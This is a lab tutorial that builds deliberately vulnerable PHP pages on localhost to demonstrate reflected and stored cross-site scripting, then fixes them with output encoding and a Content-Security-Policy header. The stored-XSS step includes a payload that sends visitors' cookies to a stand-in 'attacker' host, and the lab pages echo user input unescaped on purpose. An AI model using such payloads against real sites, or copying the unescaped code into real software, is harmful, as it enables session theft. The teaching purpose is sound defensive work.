Lab 10 — Cross-Site Scripting (XSS)

You will exploit reflected and stored XSS in a tiny PHP page, then mitigate with output encoding and a Content-Security-Policy header.

Run on https://killercoda.com/playgrounds/scenario/ubuntu

Required software (free, apt): - `php-cli` - `curl` (pre-installed)

Step 1 — Install PHP

```
apt update && apt install -y php-cli
```

```
mkdir -p /tmp/xss && cd /tmp/xss
```

Step 2 — Vulnerable page (reflected XSS)

```
cat > search.php <<'EOF'
```

```
<?php
```

```
$q = $_GET['q'] ?? '';
```

```
echo "<h1>Results for: $q</h1>";




EOF



php -S 127.0.0.1:8080 -t . &



sleep 1
```

Step 3 — Trigger reflected XSS

```
curl -s
"http://127.0.0.1:8080/search.php?q=<script>alert(1)</script>"
```

The `<script>` is reflected verbatim into the response. Open the same URL in a real browser to see the alert pop.

Step 4 — Stored XSS

```
cat > guestbook.php <<'EOF'




<?php
```

```
$file = '/tmp/xss/posts.txt';

if (!empty($_GET['msg'])) file_put_contents($file, $_GET['msg']."\n", FILE_APPEND);

echo "<h2>Guestbook</h2>";

if (file_exists($file)) echo nl2br(file_get_contents($file));

EOF

curl -s "http://127.0.0.1:8080/guestbook.php?msg=<script>document.location='http://attacker/?c='+document.cookie</script>"

curl -s "http://127.0.0.1:8080/guestbook.php"
```

Every visitor will now execute the attacker payload — *stored* XSS is far worse than reflected.

Step 5 — Mitigation 1: output encoding

```
cat > search.php <<'EOF'
<?php
$q = $_GET['q'] ?? '';
echo "<h1>Results for: " . htmlspecialchars($q, ENT_QUOTES,
'UTF-8') . "</h1>";
EOF
curl -s
"http://127.0.0.1:8080/search.php?q=<script>alert(1)</script>"
```

`<` becomes `<`. The browser renders it as text instead of executing it.

Step 6 — Mitigation 2: Content-Security-Policy header

Re-launch PHP with a strict CSP:

```
kill %1 2>/dev/null
```

```
cat > router.php <<'EOF'
<?php
header("Content-Security-Policy: default-src 'self'; script-src 'self'");
include $_SERVER['SCRIPT_NAME'] === '/router.php' ? 'search.php' : ltrim($_SERVER['SCRIPT_NAME'],'/');
EOF
php -S 127.0.0.1:8080 router.php &
sleep 1
curl -sD - "http://127.0.0.1:8080/search.php?q=hi" | head
```

Even if a payload slips through, the browser refuses to run inline scripts.

Free online tools

- **OWASP XSS Filter Evasion cheat sheet** — https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
- **PortSwigger XSS labs** — https://portswigger.net/web-security/cross-site-

scripting

- **CSP Evaluator (Google)** — https://csp-evaluator.withgoogle.com
- **Mozilla Observatory** — https://observatory.mozilla.org
- **XSS Hunter Express** — https://xsshunter.com

What you learned

- The difference between reflected and stored XSS.
- That output encoding is the universal fix.
- How CSP provides defence-in-depth even when encoding is missed.